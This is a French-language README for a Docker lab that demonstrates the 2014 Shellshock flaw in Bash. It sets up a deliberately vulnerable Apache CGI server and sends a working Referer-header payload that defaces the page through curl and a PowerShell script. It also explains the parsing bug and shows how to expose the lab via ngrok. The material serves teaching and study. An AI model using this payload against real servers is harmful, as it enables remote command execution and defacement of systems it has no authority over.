Ce projet est un environnement de démonstration pour la vulnérabilité Shellshock, une faille critique découverte en 2014 affectant le shell Bash. Ce guide explique comment configurer le laboratoire, le fonctionnement interne de l'attaque et la raison technique de sa réussite.
Le laboratoire simule un serveur web d'entreprise vulnérable :
- Docker : Isosle un serveur Apache tournant sur une version de Bash non patchée (Ubuntu 14.04).
- CGI (Common Gateway Interface) : Le vecteur d'attaque. C'est la technologie qui permet à un serveur web d'exécuter des scripts (ici Bash) pour générer du contenu dynamique.
- ngrok : Un outil de tunneling qui permet d'exposer votre serveur local sur Internet de manière temporaire. Indispensable pour simuler une attaque réelle à distance.
- index.html : Une page d'accueil d'un tableau de bord "CorpSec" réaliste.
- attack.ps1 : Script PowerShell automatisant l'envoi du payload malveillant.
Dans un scénario réel, vous n'attaquez pas localhost. L'utilisation de ngrok permet de simuler un site accessible publiquement avec une URL en https://....
Il est extrêmement dangereux d'héberger ce laboratoire sur un serveur classique (VPS, hébergement mutualisé) pour plusieurs raisons :
- Vulnérabilité critique : Ce serveur est délibérément troué. N'importe quel bot passant sur Internet pourrait en prendre le contrôle total en quelques secondes.
- Tunnel éphémère : ngrok crée un tunnel temporaire. Dès que vous coupez la commande, le site disparaît d'Internet, limitant ainsi la fenêtre d'exposition.
- Isolation : En tournant sur votre machine locale via Docker et ngrok, vous gardez un contrôle total sur l'environnement.
Utilisez le Dockerfile pour créer l'image locale :
docker build -t shellshock-lab .docker run -d -p 80:80 --name shellshock-final `
-v "C:\Users\Wissam\Desktop\shellshock-lab\www:/usr/local/apache2/htdocs/" `
shellshock-labLe script d'attaque cible le script CGI vulnérable situé sur le serveur.
# Le payload exploite la faille de parsing de Bash
$payload = "() { :;}; echo; /bin/echo '<html>[DEFACED]</html>' > /var/www/html/index.html"
# Envoi de la requête avec le payload dans le Referer
curl.exe -H "Referer: $payload" http://localhost/cgi-bin/poc.cgi() { :;};: Déclare une fonction vide. C'est le "déclencheur" qui trompe Bash.echo;: Nécessaire dans certains contextes CGI pour séparer les headers du corps./bin/echo ... > ...: La commande arbitraire exécutée avec les privilèges de l'utilisateur Apache (www-data). Dans cet exemple, nous modifions la page d'accueil du site.
La vulnérabilité Shellshock repose sur un défaut majeur dans la manière dont Bash importe les fonctions via des variables d'environnement.
-
Vecteur CGI : Lorsqu'un serveur web reçoit une requête HTTP pour un script CGI, il définit des variables d'environnement pour chaque en-tête HTTP.
- L'en-tête
Refererdevient la variableHTTP_REFERER. - L'en-tête
User-Agentdevient la variableHTTP_USER_AGENT.
- L'en-tête
-
Parsing fautif : Bash permet de définir des fonctions dans ces variables. Une fonction ressemble à
() { ... };. -
L'Erreur : Au lieu de simplement charger la fonction et de s'arrêter, la version vulnérable de Bash continue de lire et d'exécuter tout ce qui se trouve après la fermeture de la fonction (
};). -
Exécution de code (RCE) : En injectant
() { :;}; [MA_COMMANDE], l'attaquant force Bash à exécuter[MA_COMMANDE]dès que le shell est initialisé par le serveur web pour traiter la requête.
sequenceDiagram
participant A as Attaquant
participant S as Apache (Serveur)
participant B as Bash (Vulnérable)
A->>S: Envoie une requête avec un Header malveillant
Note over S: Crée la variable HTTP_REFERER avec le payload
S->>B: Exécute le script CGI (Bash)
B->>B: Bash parse la variable d'environnement
Note over B: BUG : Exécute la commande injectée après la fonction
B-->>S: Résultat de la commande
S-->>A: Réponse HTTP finale
- Accédez à
http://localhost: Vous verrez le tableau de bord CorpSec. - Exécutez le script
attack.ps1. - Rafraîchissez la page
http://localhost: Le site est maintenant défaçé avec le message de l'attaquant.
Pour simuler une attaque sur le "vrai" Web :
- Lancez le tunnel :
ngrok http 8080 - Récupérez l'URL : Copiez l'URL publique fournie par ngrok (ex:
https://a1b2-c3d4.ngrok-free.app). - Configurez l'attaque : Dans
attack.ps1, remplacez l'URL cible :curl.exe -H "Referer: $payload" https://votre-id.ngrok-free.app/cgi-bin/poc.cgi
- Lancez l'attaque : Exécutez le script et observez votre site se faire défaçer via son URL publique !
Caution
Avertissement de sécurité : Ce projet est purement éducatif. Ne testez jamais ces techniques sur des infrastructures sans autorisation.